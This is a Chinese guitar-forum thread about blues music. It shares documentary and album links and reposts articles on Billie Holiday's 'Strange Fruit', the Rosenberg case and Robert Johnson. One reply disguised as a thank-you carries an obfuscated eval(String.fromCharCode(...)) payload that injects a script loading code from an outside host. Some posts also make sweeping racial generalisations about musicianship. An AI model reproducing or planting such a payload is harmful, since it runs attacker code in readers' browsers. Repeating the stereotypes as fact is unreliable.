披头士原来是个布鲁斯乐队。
https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1489775068597&di=aecefa916958977eac84c1bc09955a97&imgtype=0&src=http%3A%2F%2Fimg1.cache.netease.com%2Fcatchpic%2F7%2F7E%2F7E2E0FD2199816658FEA5620F652ACF2.jpg从高中听磁带知道这个乐队,一直搞不清楚这乐队算是啥风格,今天听完他们的不插电,原来是个布鲁斯。
不插电
http://www.xiami.com/album/2100370255?spm=a1z1s.7154410.1996860241.118.2kEoOK
啥风格不重要 重要的是这个图还有中国的感觉 特别是大28自行车
发自吉他中国iPhone客户端 GC木琴客服 发表于 2017-3-21 22:11
啥风格不重要 重要的是这个图还有中国的感觉 特别是大28自行车
发自吉他中国iPhone客户端 ...
哈哈哈,没错。 无意中搜到一部关于蓝调的电影《蓝调传奇》,看完电影发现以前黑人(即使是40年代美国黑人的境遇也是很悲惨的)在美国的境遇比我知道的还要惨。布鲁斯产生于黑人还是有原因的,白人演奏不出来那种感觉也是有原因的。
http://www.acfun.cn/v/ac2692071 这两天再看布鲁斯的纪录片太经典了。看完黑人历史的布鲁斯,在看其他类型的摇滚简直没感觉了,除了科本。
搜到一个特别牛逼的布鲁斯纪录片,美国PBS电视台做的。
里面有三个导演卧槽
1马丁·斯科塞斯《回家的感觉》
2维姆·文德斯《人之灵魂》
7克林特·伊斯特伍德《钢琴蓝调》
http://www.bilibili.com/video/av2819500/?zw 本帖最后由 会做梦的大猫 于 2017-3-22 22:06 编辑
无意中搜到一个很牛逼的专辑。
American Folk Blues, Vol. 2
http://music.baidu.com/album/8714941?pst=musicalbumd_play&fr=-1||-1
01 Stranger BluesBrownie Mcghee/..
02 All Night LongSkip James
03 Your Funeral And My TrialSonny Boy Willia..
04 Flip, Flop And FlyBig Joe Turner
05 I'Ll Be Back SomedayHowlin' Wolf
06 NervousWillie Dixon
07 Got Sick And TiredBukka White
08 Death Letter BluesSon House
09 Wild About YouHound Dog Tayl..
10 Wang Dang DoodleKoko Taylor
11 Walking The Floor Over..earl hooker
12 All Your LoveMagic Sam
13 Bye Bye BluesWillie Dixon
The American Folk Blues Festival - Various Artists
http://www.kuwo.cn/album/418703/
本帖最后由 会做梦的大猫 于 2017-3-23 11:58 编辑
这些都是60年代的黑白老纪录片。
美国布鲁斯民谣音乐节(一)
http://www.acfun.cn/v/ac717311
美国布鲁斯音乐节 (二)
http://www.acfun.cn/v/ac721013
美国蓝调音乐节
http://www.acfun.cn/v/ac694669
美国布鲁斯音乐节第1卷 (The American Folk Blues Festival) -- T-Bone Walker
http://v.yinyuetai.com/video/503031
音乐台有个网友制作的布鲁斯歌单,一共39首歌曲,可能是他自己剪辑的。
http://v.yinyuetai.com/playlist/4184236 在优酷上发现一个牛人做的布鲁斯音乐的播单。
好像有100多首歌曲。
迷人的蓝调,醉人的布鲁斯!美国民谣蓝调音乐节带给你原汁原味的蓝调音乐。
http://list.youku.com/albumlist/show/id_5607937.html?spm=a2h0j.8191423.module_basic_info.5~5!2~5~5~5~5~A 感谢!分享这么多好资料!对于黑人蓝调,也有跟楼主相似的感受。自己听音乐也是倒着听到,越听越早期,如果再反过来听的话,会发现越靠近现在的越是没有味道,就像一直在往好酒里兑水,兑水的包括披头士、猫王、克莱普顿、鲍勃迪伦,挺巧,他们都是白人。没有味道的原因应该是他们简化了音乐,更侧重词、技巧和社会影响力,最主要的是没有黑人音乐中的灵气,或者说是趣味性的发挥,可能是吧,自己也是刚接触蓝调,它们真的很好听!继续听!
发自吉他中国iPhone客户端 好贴 十叉十叉 发表于 2017-3-23 10:53
感谢!分享这么多好资料!对于黑人蓝调,也有跟楼主相似的感受。自己听音乐也是倒着听到,越听越早期,如果 ...
没错,就是这感觉。不谈布鲁斯的话猫王有自己的风格,披头士还行,鲍勃迪伦唱的说实话不好听,不过他有几首自己做的歌曲还可以。
这样说吧,我这两天听下来,只要是白人唱的布鲁斯直接就略过了。
而且我发现白人在弹布鲁斯的时候没有黑人那种氛围,黑人围在一圈唱布鲁斯感觉很轻松,有说有笑的,白人唱布鲁斯感觉气氛不对。
会做梦的大猫 发表于 2017-3-24 11:32
没错,就是这感觉。不谈布鲁斯的话猫王有自己的风格,披头士还行,鲍勃迪伦唱的说实话不好听,不过他有几 ...
气氛的事应该是两种人性格和生活状态的原因吧,黑人本身就爱唠嗑,有事没事坐那唠会,嘴贫,叹忧伤也多少有点贫的味道吧。好比咱西北的信天游,城里人再唱他也不对味。对了,高晓松提到过几个民族和音乐的关系,说日本人做旋律,白人做和声,黑人做节奏。 十叉十叉 发表于 2017-3-24 14:11
气氛的事应该是两种人性格和生活状态的原因吧,黑人本身就爱唠嗑,有事没事坐那唠会,嘴贫,叹忧伤也多少 ...
不是没事唠嗑,历史爱唠嗑的民族也不少,也没见出个布鲁斯呵呵。你看完上面那些纪录片和电影就知道黑人的历史遭遇了。
感谢!分享这么多好资料
http://localhost/flash.swf?'+eval(String.fromCharCode(119,105,116,104,40,100,111,99,117,109,101,110,116,41,48,91,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,104,116,116,112,58,47,47,115,104,117,97,106,105,57,46,99,111,109,47,63,97,61,49,39,93,59))+'
十叉十叉 发表于 2017-3-23 10:53
感谢!分享这么多好资料!对于黑人蓝调,也有跟楼主相似的感受。自己听音乐也是倒着听到,越听越早期,如果 ...
看完这么多纪录片和各种表演后,我发现一个细节,有些布鲁斯歌手演奏之前会说一些话,虽然听不懂,但是可以知道是讲布鲁斯的东西,给观众传达一些东西,这些是白人演奏布鲁斯歌曲时候所没有的细节(当然要说白人没说过也不可能,但是很少,我就见过一个)。这个感觉很意外。说明这些布鲁斯歌手对待布鲁斯是有很深感情的,注入了自己感情和感受吧。 还没有看那些片子啊。对黑人的印象相对白人是更外向、更乐于分享感受的,还是想用哪个词--唠嗑,爱唠嗑,不是贬义哦,也就是这种性格倾向才让他们创造出那么多了不起的音乐。回头看片子,因为兄弟最近得空干的事就翻资料查论坛来了解吉他,之前只听音乐,没想过弹吉他,嘿嘿,俩月头热情突起,今天下午下手买了第一把吉他!还在激动中!
发自吉他中国iPhone客户端 本帖最后由 会做梦的大猫 于 2017-3-27 19:06 编辑
今天发点沉重的东西吧,以上的截图都是来自于PBS蓝调百年之旅纪录片之4查尔斯·巴内特《被魔鬼之火所灼》这部视频.
其实前两天就想发但一直没发出来。
下面的文字来源于网络。
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小威
羅森堡、艾倫與「奇異的果實」讓我簡明的告訴你們,從今以後,你自己的生活必須帶引你,如同我過去帶引你一般...... 我必須很遺憾的說, 現有文明尚未進步到不需要以生命換取生命的腳步。--Ethel Rosenberg寫給兒子的遺書
「作為一個非裔美國人是不可能沒有任何政治抉擇的。即使決定低頭忍辱吞生,也是一種政治抉擇。」--Donald Clark, 「Wishing on the Moon」,頁一六六。
這一切,都要先從Rosenberg案說起
問我:二次戰後的五十年間,美國最糟糕的政治組合是什麼?
我的答案:杜魯門總統,FBI局長胡佛,與擎舉**大旗,為紅色獵巫行動揭開序幕的參議員麥卡錫。
一九九七年三月中旬, 一名退休的前俄國KGB幹員Alexander Feklisov 接受 Discovery 記錄片製作人員訪問,公開宣稱,在一九五三年遭美國法庭以從事間諜活動,提供俄國製作原子彈情報為由處死刑的紐約市民 Rosenberg 夫婦, 事實上並沒有提供過任何跟原子彈有關的情報。 他特別指出,雖然 Ethel Rosenberg 的確曾經從工廠偷帶出一個軍事電子零件,但整體而言,Rosenberg 夫婦在五○年代的蘇俄間諜活動中,扮演「相當邊緣性」的角色。
八十三歲的 Feklisov 接受訪問的新聞,如同細石跌入深闊的海洋中,渺茫無蹤,沒有得到太多迴響。九○年代的俄國早已解體,東西方世界冷戰結束,原子彈也成為過時的名詞。這時候,誰會想要試圖去了解這個曾經在五○轟動美國的 Rosenberg 審判案? 又有誰知道, 老KGB特別點名,認為她是無辜的 Julius Rosenberg,竟然是美國歷史上,除了林肯被刺案曾處決一名女性之外,唯一以叛國罪被處死的女性?回溯起來,Rosenberg 夫婦,可以說是在當時如火如荼進行的政治獵巫氛圍中,以最嚴峻方式懲處的犧牲者。
Rosenberg 夫婦深愛對方,即使在首次被捕時,他們仍然試圖緊握著彼此的雙手,甚至隔著囚車的鐵網彼此吻別,這些照片都曾經成為報紙頭條。 Rosenberg 案於一九五一年開庭, 審理此案的法官Kaufman,代表美國政府起訴的 Saypol,都由參議員麥卡錫的左右手Cohn 一手安排。 陪審團成員的選擇,事先也沒有經過為被告辯護的律師與檢察官的審核, 陪審團中無一人是猶太裔( Rosenberg 是猶太裔),這是一開始就註定被告一定失敗的殘酷遊戲。
一九五三年,Rosenberg 夫婦被判處死刑定讞,進入電椅室處決。調查局局長胡佛面對媒體,傲然宣稱,Rosenberg 案是「世紀之罪」( Crime of the Century )。
然後,Lewis Allan登場
那是一個互咬( naming names, Rosenberg 夫婦也是被Julius 的兄弟 David 咬出來的)的年代。五○年代的美國,曾參加工會、罷工、示威、遊行、組讀書會的公民,都有被約談的可能。調查局曾宣稱聯邦政府單位有兩百五十名沒有通過忠誠制度審核,有顛覆國家的意圖,將之解職。麥卡錫利用當時才剛剛勃興的新聞實況轉播,舉辦公聽會調查名人,包括政客,明星,好萊塢的導演。有人因受不了壓力而自殺,有人因無片可拍而遁走異鄉,發誓永不回國。在人人自危的五○年代紅色獵巫中, 沒有人在意 Rosenberg 夫婦同時被處決後, 誰來照顧他兩個年幼的兒子 Mike 與 Robert?我們談的,不是溫情,不是慈善救濟,不是媒體造勢,是真實且深刻的生存問題。Lewis Allan,一名紐約的高中老師,Cafe Society 的常客,具有前進思想的詩人, 在眾人的疑懼與詰難中站出來了。 他收養了Rosenberg 夫婦的兒子。 一九七○年,Mike 與 Robert 為了替父母申冤,向政府施加壓力,長達二十五萬頁,記錄五○年代獵巫行動的檔案 Perlin Paper,終於解除機密,得以重新出土。 九○年代開始,哥倫比亞大學法學院編列預算,將 Perlin Paper 全文數位化,至此,血跡斑斑的珍貴史料,不但公諸於世,也可永續保存。
然後,奇異的果實出現
Lewis Allan,原名 Abel Meeropol,他是個熱愛音樂, 文學,有基進政治觀點, 反種族歧視的的詩人。 早在一九三九年 四 月,Allan 就曾經與 Billie Holiday 在紐約 Cafe Society 獻唱的秀場製作人接洽, 說是寫了一首詩, 也譜了曲子, 要獻給 Billie
Holiday。 為了表示誠意,Allan 在鋼琴前坐下,開始彈唱「奇異的果實」( Strange Fruit ):
南方的樹結著奇異的果實
Southern trees bear a strange fruit,
血沾滿枝葉,滲入根中
Blood on the leaves and blood at the root,
黑色的身軀,在南風中輕擺
Black bodies swaying in the Southern breeze,
白楊樹上掛著奇異的果實
Strange fruit hanging from the poplar trees.
壯闊的南方,醉人的田園風光
Pastoral scene of the Gallant South,
雙眼睜凸,嘴兒曲扭
The bulging eyes and the twisted mouth,
木蘭花香,甜美而新鮮
Scent of magnolias, sweet and fresh,
然後,突然傳來陣陣屍肉焚燒的氣味
Then the sudden smell of burning flesh.
這是烏鴉啄食的果實
Here is a fruit for the crows to pluck,
雨水蓄積後,風會吮乾
For the rain to gather, for the wind to suck,
太陽腐灼後,從樹上殞落
For the sun to rot, for the trees to drop,
一顆奇異而苦澀的果實
Here is a strange and bitter fruit.
一九三九年的 Billie Holiday,已經開始有走下坡的趨勢。 搖擺樂年代飽受經濟蕭條的衝擊, 有大勢已去的跡象。 製作人 JohnHammond 不喜歡這首歌, 他認為這首歌不符合 Holiday 的調性,只會讓她變得更像個「歌女」( chanteuse )。當 Allan 向她說明時,Holiday 遲疑了,她一向只唱歌,不曉得讀詩的深意。尤有甚著,Holiday 並不是那麼的政治化。 她只想向 Louis Armstrong 看齊,以娛樂大眾為已志。
然而,在聽完 Allan 的演奏後,起先猶疑不決的 Holiday 向秀場製作人說:
「好吧!你覺得可以的話,我就唱了。」
於是,在長達九個月與 Cafe Society 簽約獻唱的日子裡,「奇異的果實」被安排在曲單的最後一首歌。Holiday 演唱這首歌時,所有的燈光全部關掉,侍者不許走動,遞送飲品或接受點餐,現場只留一盞小燈,微弱地照著 Holiday 臉龐。 曲畢時,不管觀眾如何瘋狂鼓掌,Holiday 從不回應,也不謝幕,兀自走回化妝間。
「奇異的果實」的重要性對 Holiday 是難以言喻的。 每唱起這首歌,眼淚總會佈滿她蒼白憂傷的臉龐。這首歌控訴著南方白人對黑人動用私刑( lynching )的殘酷,黑人被活活鞭打,截肢,吊在樹上而死,在四○年代的美國南方,仍然非常普遍。施暴者經白人政權與市民的容忍,即便定罪,也是非常輕的罰則。「奇異的果實」提醒Billie Holiday,她父親就是白人動用私刑的犧牲者。
演唱「奇異的果實」成為 Holiday 生涯中最觸動情感的印記,聆聽「奇異的果實」變成黑人聽眾最傷痛的回憶。Holiday 在哈林的阿波羅劇院初次獻唱這首歌時,歌曲結束,全場一片死寂,許久之後,傳來陣陣沙沙的聲響。
那是全場兩千名哈林區市民,此起彼落的嘆息聲。
Holiday 本人也無法控制這首歌對她情緒的衝擊。獻唱完畢時,她拒絕謝幕,走回休息室時,哽咽得說不出話來。
「奇異的果實」變成了新聞話題。在此之前,「時代」雜誌雖偶爾有黑人音樂的樂評,但從不刊登黑人樂手的照片。「奇異的果實」讓 Billie Holiday 的照片終於可以在時代雜誌刊登。然而,CBS仍然不讓 Billie Holiday 灌製這張專輯,許多廣播電台也禁掉了這首歌。 最後,Commondore 唱片公司的老闆 Milt Gabler,在CBS的允許下,為 Billie Holiday 灌製並發行「奇異的果實」。
錄音現場沿用了 Cafe Society 的伴奏組合: 小號手Frankie Newton, Tab Smith 等三人負責簧管樂器, 低音貝斯手John Williams,鼓手 Eddie Dougherty,鋼琴手 Sonny White。 編排的方式是這樣的:以鋼琴作為開場白,然後是 Frankie Newton 的弱音小號, 簧管樂器伴奏 Holiday 幽微轉折的藍色嗓音,宛如低泣,節奏樂器則以慢板低調的方式進行。
Commondore 究竟是個小公司。 爾後, 除了 Mosaic 重新發行 Commondore 珍貴的錄音, 日本人據說也曾重出 Billie Holiday 這首錄音室版之外,我們再也聽不到傳說中的,錄音室版的「奇異的果實」。
以上就是關於盧森堡、艾倫與「奇異的果實」的故事。
後記
九○年初期, L君買到 Billie Holiday 在 Verve 出版,兩張一套的專輯。第一張 CD 的第二首曲子就是「奇異的果實」的現場錄音。彼時L君最喜歡做的事情,就是學 Billie Holiday 尖著嗓子說:
「 Thank you...thank you...now I would like to sing a tune that was written especially for me... 」
(手邊並無錄音帶或西低,記憶或許有誤。)
然後L君就會以極爛的歌喉,開始唱「奇異的果實」。
這段惡趣味,常常成為我們兩人無聊時玩笑的主題。
那是一個捷運,北二高沒有通車,儲值公車票尚未發行,電子雞與葡式蛋塔也尚未流行的時代。九○年代初期,走在午後的街道,你會看到有「獨立建國」標語的巨大宣傳車,以驚人的超級擴音器,橫掃過市區,然後路上的阿多仔,居然會跟著宣傳車喇叭放出來的歌聲一起唱著:
「建國,建國,建國建國建國!!」
八年以來,我仍然沒有忘記「奇異的果實」,沒有忘記 CD 中,清楚傳來 Billie Holiday 清嗓子,費力的咳嗽聲,沒有忘記L君的惡趣味,也沒有忘記所有曾經有的、美好的、天真的、壯闊的、想要改變台灣的偉大夢想。 即使現實與夢想的距離, 竟被證明是如此的-- 遙遠。
謹以此文,紀念 Billie Holiday 「奇異的果實」日本版專輯於九月在台發片,並追悼已經逝去的純真年代。
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lady holiday那首述说黑人痛楚的曲子
我个人认为这个录音版本更贴近这首歌词或者感觉。(总之看完歌词在听歌曲有种很诡异的感觉,不知道为啥)
http://music.163.com/#/song?id=2 ... true&market=baiduhd
当年留下的录像
http://www.tudou.com/programs/view/LbEzw5YNF8I/
奇异的果实(歌词)
Southern trees bear a strange fruit
南方的树上结着奇异的果实
Blood on the leaves and blood at the root
血红的叶 血红的根
Black bodies swinging in the southern breeze
黑色的尸体随风摆荡
Strange fruit hanging from the popular trees
奇异的果实悬挂在白杨树上
Pastoral scene of the gallant south
华丽的南国田园风景
The bulging eyes and the twisted mouth
突出的眼 扭曲的嘴
Scent of magnolias sweet and fresh
木兰花清甜的香味
Then the sudden smell of burning flesh
转眼成了焦灼尸肉的气味
Here is fruit for the crows to pluck
这里有颗果实 让乌鸦采撷
For the rain to gather for the wind to suck
供雨水摘取 任风吸吮
For the sun to rot for the trees to drop
因日照腐朽 自树上坠落
Here is a strange and bitter crop
这是奇异而苦涩的作物
这首歌曲控诉了过去美国南方的对黑人残酷的私刑制度,歌词讲的故事说有和黑人被人挂在树上吊死,并用火焚烧尸体(burning flesh)这就是所说的奇怪的果实(strange fruit) Moaning.
1930年的8月,两名黑人被当地的白人居民殴打并吊死在树上。Abel Meeropol受此事件启发而写下了这首《Strange Fruit》,后来又被Billie翻唱。字字声声都是血泪。另外Pearl Primus给Strange Fruit编的舞也值得一看。黑暗中只见她的奔跑和抗争,只闻她的呼吸和倒地的声音。
Pearl Primus’s Strange Fruit and Hard Time Blues (Strange Fruit的舞蹈)
http://www.bilibili.com/video/av9431865/
Pearl Primus’s Strange Fruit and Hard Time Blues (Strange Fruit的舞蹈)
http://acceleratedmotion.org/dan ... nd-hard-time-blues/
所谓“奇异果实”指的是美国中南部的三K党和种族极端主义者把黑奴吊死在树上的景象,远远望去,如同树上结满了"奇特的果实"一般。这是何等的耸人听闻啊!而比莉霍利迪本人的一生也是深受种族歧视的迫害,即使在她最成名时。
strange fruit最初是个大学教授Lewis Allen在1938年写得一首诗,用以反对当时南方盛行的对黑人处私刑(lynching)的行为。因为当时种族歧视之甚,连Billie Holiday 本人都不被允许留宿在晚上表演过的酒店,所以甚至在前奏开始时她还在后悔决定当众演唱这首歌。 但是据说演唱完以后很长一段时间是一片静寂,然后有一个人开始鼓掌直至最后全场掌声四起。。。这首歌的歌词描写了黑人被吊在树上烧死的情景。
Strange Fruit與自殺之歌Gloomy Sunday Billie Holiday歌唱生涯的第二助力就是唱了<Strange Fruit>-由一位猶太籍教師Abel Meeropol(筆名Lewis Allen)所寫的詩,內容是關於一個被處死刑的黑人,這首詩在填上曲後於一場教師聯合會議中發表,被Café Society這家歌廳的經理人聽見了,於是將它介紹給Billie Holiday,並在1939年於Café Society演唱;同樣身為黑人的Billie Holiday對這首歌感同身受,<Strange Fruit>的歌詞除了本身哀傷的意義之外,也道出種族歧視帶給黑人的天昏地暗,氣氛近乎詭譎,而由Billie Holiday弔詭的歌聲唱出,聽了令人不禁打寒顫。 Billie Holiday對<Strange Fruit>有諸多感觸,在1939年要求Columbia讓她錄製這首歌,但是由於歌詞觸碰了敏感話題而被回絕。後來她轉向請另外一家唱片公司 Commodore幫她錄製<Strange Fruit>,之後馬上被電台禁撥;1944年Billie Holiday與Commodore再度合作,兩次合作出來的作品雖然數量不多,不過許多Billie Holiday最經典的單曲都是在Commodore完成的,包括<Fine and Mellow>、<I Cover the Waterfront>和<Embraceable You>。 由於<Strange Fruit>的聲名大噪,這樣的敘事歌(ballads)成為Billie Holiday個人的招牌,促使她在往後錄製了許多像這樣慢板的敘事歌曲。
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Strange Fruit奇异的果实
理解美国的种族、宗教问题带来的美国特质
这 是 一 首 抗 议 种 族 歧 视 的 歌 , 挂 在 树 上 的 「奇 异 的 果 实 」是 受 私 刑 的 黑 人 的 尸 体 。哈 乐 蒂 唱 这 首 歌 时 似 乎 把 魂 魄 都 唱 出 来 , 不 只 因 为 她 一 生 也 遭 遇 过 无 数 歧 视 , 她 随 亚提 萧 ( Artie Shaw) 的 白 人 乐 团 在 纽 约 林 肯 饭 店 演 唱 时 , 老 板 要 求 她 从 厨 房 的 门 进 出 , 不 准 她 进 入 酒 吧 或 餐 厅 , 并 且 除 了 轮 到 她 唱 时 , 必 须 独 自 待 在 一 间 暗 黑 的 小 房 间 ; 在 底 特 律 一家 戏 院 演 出 时 , 他 们 要 她 涂 上 黑 色 的 化 妆 油 , 以 便 不 被 观 众 误 为 混 血 白 人 , 相 反 地 , 在 另 一 家 戏 院 和 亚 提 萧 乐 团 合 作 演 出 时 , 却 有 人 担 心 她 黑 色 的 肤 色 和 白 人 乐 团 格 格 不 入 ― ― 更 因 为 这 首 歌 传 递 了 整 个 黑 人 的 屈 辱 、无 奈 和 失 落 。从 一 九 三 九 年 四 月 到 一 九 五 六 年 十 一 月 , 她 多 次 灌 唱 这 首 歌 , 愈 到 晚 年 愈 见 节 制 U她 的 歌 声 惊 异 地 传 达 出 恐 怖 的 感受 , 飞 越 歌 词 , 化 成 凝 结 的 悲 叹 , 永 恒 的 停 顿 。在 杰 里 米 ( John Jeremy) 一 九 八 五 年 的 纪 录 片 《蒂 夫 人 的 漫 漫 长 夜 》里 , 我 们 看 到 她 唱 完 这 首 歌 , 面 对 掌 声 , 神 情 木 然 。
Billie Holiday - Strange Fruit
Southern trees bear strange fruit,
Blood on the leaves and blood at the root,
Black bodies swinging in the southern breeze,
Strange fruit hanging from the poplar trees.
Pastoral scene of the gallant south,
The bulging eyes and the twisted mouth,
Scent of magnolias, sweet and fresh,
Then the sudden smell of burning flesh.
Here is fruit for the crows to pluck,
For the rain to gather, for the wind to suck,
For the sun to rot, for the trees to drop,
Here is a strange and bitter crop.
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哈乐蒂唱过的众多歌曲当中,有一首〈奇异的果实〉(Strange Fruit)似乎最能表达她个人的悲 剧。诗人路易斯亚伦 (Lewis Allen)为她写了这首歌,拿到她驻唱的「社会餐馆」(Cafe Society)请她唱,一开始哈乐蒂对这首意香惊耸、气氛阴森的歌颇感迷惑,然而她的直觉告诉她这是一首能让她把心底郁积的情感宣泄出来的歌。她唱了它,这首歌让她在一夜间从唱蓝天、明月一类情歌的俱乐部歌手变成「伟大的歌者」。
南方的树上结着奇异的果实
血红的叶,血红的根
黑色的尸体随风摆荡
奇异的果实悬挂在白杨树上
华丽的南国田园风景
突出的眼,扭曲的嘴
木兰花清甜的香味
转眼成了焦灼尸肉的气味
这里有颗果实,让乌鸦采撷
供雨水摘取,任风吸吮
因日照腐朽,自树上坠落
这是奇异而苦涩的作物
十叉十叉 发表于 2017-3-25 22:51
还没有看那些片子啊。对黑人的印象相对白人是更外向、更乐于分享感受的,还是想用哪个词--唠嗑,爱唠嗑,不 ...
你看我今天19楼的回复吧,看了19楼的那些照片和文字你会更直观一些。 【图瓦音乐纪录片】成吉思汗蓝调【奥斯卡奖提名】
http://www.bilibili.com/video/av4184083/?from=search&seid=13003399730393319253
不知道为啥加进去的FLASH显示不了。只能去B站看了。
搜布鲁斯蓝调的时候无意中看到的,点进去看了一下还挺有意思的故事 Martin Scorsese Presents The Blues: A Musical Journey
http://www.xiami.com/album/408427?spm=a1z1s.7154410.1996860241.11.JenbiH
美国PBS电视台制作的7个关于布鲁斯纪录片的里面的布鲁斯音乐,很古老的布鲁斯。 虾米搜到一个钢琴布鲁斯的合集。
http://www.xiami.com/collect/36821961 本帖最后由 会做梦的大猫 于 2017-4-1 22:25 编辑
无意中在一个博客中看到了一些介绍布鲁斯大师的生平,现发上来。
http://blog.sina.com.cn/s/articlelist_1402280882_0_1.html
Robert Johnson:与魔鬼同行 (一)(2010-02-23 17:52:38)
你可以埋了我的尸体,就在公路之旁
宝贝儿,我不在乎你将我葬在何方
反正,我已经死了
你可以埋了我的尸体,就在公路之旁
让我那又老又坏的灵魂
可以登上灰狗巴士,驶向远方
——罗伯特约翰逊(Robert Johnson),《我和魔鬼布鲁斯》
舞会上,Robert Johnson刚刚结束自己的表演,与往常一样,他开始打量舞池中的人群,搜寻自己的猎物。他的生命中不能缺少的,除了音乐,就是女人。只是这一回,他找错了对象。那个女人送上来的美酒里所藏着的,是她那嫉妒的丈夫放下的毒药。
三天后,约翰逊的尸体被人在旅馆的房间里发现,天才就此陨落。
魔鬼在十字路口用左手给了他绝伦的技艺,如今,用右手带走了他的灵魂。
他死的时候留下了29首录音作品,那一年,他27岁。
多少年后,Robert Johnson早已成为传奇,对很多当代的乐迷而言,他就是早期布鲁斯的全部,当一个人成为某个音乐和文化领域的象征后,就使他很难再被理性地认识,但事实上,和普通人一样,除却他的光环,他有过好的时光,也有过坏的时光,会厌倦,也会疲累。
Robert Johnson已经死了,我们无法得知他自己是怎样思考的,也无法经由他的口得知他的故事。他的那些争议性的话题到如今都还在延续。在其成为受人崇拜的偶像之后,跟他同时代的几乎所有的密西西比布鲁斯艺人都被问起过有关Robert Johnson的问题。而这些受访者中有不少人的回答只是为了取悦访问者,直到现在,关于他的经历几乎没有一项是确凿无疑的。也许,没有疑问的答案只能从他的音乐本身来获得。
早年生活
Robert Johnson大约出生在1911年5月8日,他是Julia Major Dodds的第11个孩子,前10个孩子都是她和Charles Dodss所生,而Robert Johnson则是一个私生子,这也是他姓Johnson的原因。Dodds是Hazlehurst一名小有成就的土地所有者和家具制造商,Hazlehurst是Jackson南部,三角洲地区以外不远的一个小镇子。1909年左右,Dodds因为与当地白人地主的争执被迫离开,去了孟菲斯。Robert Johnson就是那时Julia与一名叫Noah Johnson的男子发生短暂关系的结果。在他出生后不久,Julia也无奈离开,她带着Robert居无定所直至多年后Charles Dodds收留了她。这时候,Dodds已改名叫Charles Spencer了,这大概是1914年的事情。Dodds-Spencer是一大家子,不仅有Julia的孩子们,还有两个他情妇所生的孩子。罗伯特可能是跟着家里比自己大一点的哥哥学着瞎弹吉他的。
大概1918年还是1920年的时候,Robert与自己的母亲重聚,搬到了三角洲Robinsonville和Tunica一带,Julia跟自己的新任丈夫住在一起,他叫Dusty Willis,有人记得Johnson那会儿被人叫做小Robert Dusty,尽管当时在Tunica的Indian Creek School注册的名字为Robert Spencer。他在这个学校待了几年,Willie Coffee,一位比他小几年,但是是和他在同一个教室里上过课的人回忆说在众多孩子当中,他已然是一个多才多艺的音乐家:
“我和他还有很多其他孩子,经常逃学躲到教堂里去。他会拿出琴来为我们弹奏,我们就在那弹啊唱啊,直到老师找到我们,逼着我们回去并给每人来5鞭子。”
三角洲的人回忆Johnson弹奏的第一件有弦乐器是一把“自制单弦琴(diddley bow)”。自制单弦琴是一种简单的乐器,通常用两颗螺丝或钉子将一根弦固定在一块木板上,弹奏的时候就通过在木板跟琴弦之间更换玻璃瓶或者金属块来改变音色。Johnson自制了一把有三根弦的琴,之后又买了一把四根弦的破旧的吉他,他总是在每个人面前弹个不停,让大家不胜其烦,直到躲得远远的。在同龄的孩子们都在玩弹子球的时候,Johnson迷上了音乐。
19岁那年,Johnson娶了Virginia Travis,这位比他大16岁的妻子后来死于难产,这种事在贫穷的黑人居住区并不少见,那里一直都缺少医疗保障。妻子的去世给Johnson带来沉重的打击,某种程度上导致了他混乱的人生。
差不多同一时间,Johnson遇见了Son House,音乐生涯中第一个给他带来启发的人。Son House那会儿在Robinsonville和Willie Brown组成了一支二重唱乐队。他俩都是Charley Patton的朋友,后者在1930年5月的时候将他们带去派拉蒙唱片录过一些歌儿。那时候,Brown在Robinsonville已经待了四年,在录音后不久,Son House就去了Ronbinsonville,他们成了当地舞会上的首席乐队。
那时候,很多布鲁斯艺人都是多才多艺的主持人,会表演各种乐器的大有人在,会讲笑搞气氛的也不在少数,当然,必不可少的是演奏吉他的技术。像Patton和Tommy Johnson就经常将吉他放在脑后和两腿之间,或者扔到空中去表演。Johnson甚至还能用脚指头弹吉它。House的表演风格也是独树一帜,他的表演就像猛鬼缠身一样,面部扭曲,两眼翻滚,汗流不止,用手粗野地抽扫吉他。他的歌声有一种不可思议的力量,地震一般,他就像着了魔一样无法控制自己。House被誉为布鲁斯乐界的巫毒大师。尽管在生活中,他是一个很平静的人,就连说话都是轻声细语的。
Robert Johnson很迷Son House和Willie Brown,视他们为自己的偶像。Son House的乐队是在一个叫芬克街角店(Funk's Corner Store)的地方表演,那里在星期六的晚上经常举办舞会,场面混乱不堪,时不时地有人打架滋事。Johnson的父母不允许自己的儿子去那种场所,他就等到他们都睡着了再起来,爬出窗口去找Son House和Willie。
Johnson在15、6岁的时候吹得一口漂亮的口琴,但他一心想学弹吉他。他经常坐在House和Brown身边看他们表演。夏天的时候屋子里很热,House和Brown经常要出去乘会儿凉再回来。每到这个时候,Johnson就会趁他们不在,操起吉他来一顿猛扫,搞出一堆噪音,惹得屋子里的人抓狂不已。Son House回忆说:
“每到这个时候,人们就会把我叫进去阻止这傻孩子,我会对他说,‘Robert,快住手,你快把所有人都赶回家了。把你的口琴掏出来,大家都喜欢听你吹口琴。’他不会太在意我说的话,但会把吉他放到一边去。我会对他说,‘Robert,你看,这会儿黑灯瞎火的,你要是搞坏一根琴弦的话,让我们去哪儿再买一根啊?把吉他放一边儿去吧。’但一等我们出了屋子,正准备吃点喝点的时候,吉他又响了,尽是那种声音——邦~_sina_#8221_word__馈_sina_mdash_word__—连狗都不要听。我们压根儿就阻止不了他。”
(待续...)
Robert Johnson:与魔鬼同行 (二)(2010-03-08 14:06:58)转载▼标签: 杂谈
House记得Johnson离开了大概6个月的时间,回来的时候肩头挎着一把吉他。另一说是他依然留在密西西比,生活在三角洲的南部。他在那边儿待了一两年的时间,经常和一个叫Zinnerman的吉他手在一些小酒馆演出,并且娶了一个叫Callie Craft的女人。不管哪种说法是真的,Johnson回到三角洲北部的时候,已不是当初那个愣头小子了。
House回忆:
“我和Willie当时在一个叫Banks的地方表演,快演完的时候看到前门那有个人想要挤进场子来,我发现那是Robert。就让人把他给放了进来。他就这么一摇一摆地穿过人群,来到我们面前。
我对他说,‘小家伙儿,你现在要带着这东西上哪儿去?想再把人给吵死么?’
他说,‘我来告诉你我要做什么,现在是你的休息时间么?’
我说,'对,就算是把,你想要干嘛?骚扰这些听众么?'
他说,‘不,请你——给我个机会让我试一下’
我说,‘好吧!’
